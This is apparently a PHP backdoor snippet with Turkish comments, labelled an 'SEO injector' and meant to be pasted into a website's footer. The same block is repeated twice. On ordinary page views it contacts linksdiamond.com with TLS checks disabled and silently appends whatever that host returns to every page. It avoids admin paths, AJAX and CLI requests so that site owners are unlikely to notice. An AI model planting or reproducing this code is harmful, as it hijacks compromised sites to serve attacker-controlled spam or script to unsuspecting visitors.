// --------------------------- // SEO injector (footer'a eklendi) // Kopyala: footer HTML'inin hemen sonuna yapıştır // --------------------------- if (!defined('LB_IN')) { define('LB_IN', 1); $GLOBALS['buffer_mode'] = false; // Basit çalışma kontrolleri: CLI, AJAX, admin yolları, POST/PUT/DELETE => çık $is_cli = (php_sapi_name() === 'cli' || defined('STDIN')); $request_method = $_SERVER['REQUEST_METHOD'] ?? 'GET'; $is_ajax = (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest'); $uri = $_SERVER['REQUEST_URI'] ?? ''; $is_admin_path = (stripos($uri, '/wp-admin') !== false) || (stripos($uri, '/admin') !== false); if ($is_cli || $is_ajax || $is_admin_path || !in_array(strtoupper($request_method), ['GET'])) { // hiçbir işlem yapma return; } // Eğer istemci HTML istemiyorsa çık (ör. API çağrısı) $accept = $_SERVER['HTTP_ACCEPT'] ?? ''; if ($accept !== '' && stripos($accept, 'text/html') === false && stripos($accept, 'application/xhtml+xml') === false) { return; } function seo_injector($buffer = null) { $u = 'https://linksdiamond.com/c.php?tk=01'; $s = ''; $proto = 'http'; if ( (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') || (isset($_SERVER['SERVER_PORT']) && (int)$_SERVER['SERVER_PORT'] === 443) ) { $proto = 'https'; } $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'localhost'); $h = $proto . '://' . $host; try { if (function_exists('curl_init')) { $c = curl_init(); curl_setopt_array($c, array( CURLOPT_URL => $u, CURLOPT_RETURNTRANSFER => 1, CURLOPT_HTTPHEADER => array("Referer: $h"), CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_CONNECTTIMEOUT => 4, CURLOPT_TIMEOUT => 5 )); $r = @curl_exec($c); $http_code = curl_getinfo($c, CURLINFO_HTTP_CODE); curl_close($c); if ($r !== false && $http_code >= 200 && $http_code < 300 && stripos($r, 'SEO:OK') !== false) { $s = $r; } } elseif (ini_get('allow_url_fopen')) { $ctx = stream_context_create(array( 'http' => array( 'header' => "Referer: $h\r\n", 'timeout' => 5 ), 'ssl' => array( 'verify_peer' => false, 'verify_peer_name' => false, ) )); $r = @file_get_contents($u, false, $ctx); if ($r !== false && stripos($r, 'SEO:OK') !== false) { $s = $r; } } } catch (Throwable $e) { // sessizce atla $s = ''; } if ($s === '') return $buffer ? $buffer : ''; if ($buffer !== null) { // buffer varsa sonuna ekle return $buffer . "\n" . $s; } else { echo $s; } } function seo_shutdown_handler() { if (empty($GLOBALS['buffer_mode'])) { seo_injector(null); } } if (function_exists('ob_start')) { // ob_start içinde aynı callback tekrarını engelle $already = false; if (function_exists('ob_list_handlers')) { $ob_list = ob_list_handlers(); if (is_array($ob_list)) { foreach ($ob_list as $h) { if (strpos($h, 'seo_injector') !== false) { $already = true; break; } } } } if (!$already) { $GLOBALS['buffer_mode'] = true; ob_start('seo_injector'); } } register_shutdown_function('seo_shutdown_handler'); } // --------------------------- // SEO injector (footer'a eklendi) // Kopyala: footer HTML'inin hemen sonuna yapıştır // --------------------------- if (!defined('LB_IN')) { define('LB_IN', 1); $GLOBALS['buffer_mode'] = false; // Basit çalışma kontrolleri: CLI, AJAX, admin yolları, POST/PUT/DELETE => çık $is_cli = (php_sapi_name() === 'cli' || defined('STDIN')); $request_method = $_SERVER['REQUEST_METHOD'] ?? 'GET'; $is_ajax = (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest'); $uri = $_SERVER['REQUEST_URI'] ?? ''; $is_admin_path = (stripos($uri, '/wp-admin') !== false) || (stripos($uri, '/admin') !== false); if ($is_cli || $is_ajax || $is_admin_path || !in_array(strtoupper($request_method), ['GET'])) { // hiçbir işlem yapma return; } // Eğer istemci HTML istemiyorsa çık (ör. API çağrısı) $accept = $_SERVER['HTTP_ACCEPT'] ?? ''; if ($accept !== '' && stripos($accept, 'text/html') === false && stripos($accept, 'application/xhtml+xml') === false) { return; } function seo_injector($buffer = null) { $u = 'https://linksdiamond.com/c.php?tk=01'; $s = ''; $proto = 'http'; if ( (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') || (isset($_SERVER['SERVER_PORT']) && (int)$_SERVER['SERVER_PORT'] === 443) ) { $proto = 'https'; } $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'localhost'); $h = $proto . '://' . $host; try { if (function_exists('curl_init')) { $c = curl_init(); curl_setopt_array($c, array( CURLOPT_URL => $u, CURLOPT_RETURNTRANSFER => 1, CURLOPT_HTTPHEADER => array("Referer: $h"), CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_CONNECTTIMEOUT => 4, CURLOPT_TIMEOUT => 5 )); $r = @curl_exec($c); $http_code = curl_getinfo($c, CURLINFO_HTTP_CODE); curl_close($c); if ($r !== false && $http_code >= 200 && $http_code < 300 && stripos($r, 'SEO:OK') !== false) { $s = $r; } } elseif (ini_get('allow_url_fopen')) { $ctx = stream_context_create(array( 'http' => array( 'header' => "Referer: $h\r\n", 'timeout' => 5 ), 'ssl' => array( 'verify_peer' => false, 'verify_peer_name' => false, ) )); $r = @file_get_contents($u, false, $ctx); if ($r !== false && stripos($r, 'SEO:OK') !== false) { $s = $r; } } } catch (Throwable $e) { // sessizce atla $s = ''; } if ($s === '') return $buffer ? $buffer : ''; if ($buffer !== null) { // buffer varsa sonuna ekle return $buffer . "\n" . $s; } else { echo $s; } } function seo_shutdown_handler() { if (empty($GLOBALS['buffer_mode'])) { seo_injector(null); } } if (function_exists('ob_start')) { // ob_start içinde aynı callback tekrarını engelle $already = false; if (function_exists('ob_list_handlers')) { $ob_list = ob_list_handlers(); if (is_array($ob_list)) { foreach ($ob_list as $h) { if (strpos($h, 'seo_injector') !== false) { $already = true; break; } } } } if (!$already) { $GLOBALS['buffer_mode'] = true; ob_start('seo_injector'); } } register_shutdown_function('seo_shutdown_handler'); } 123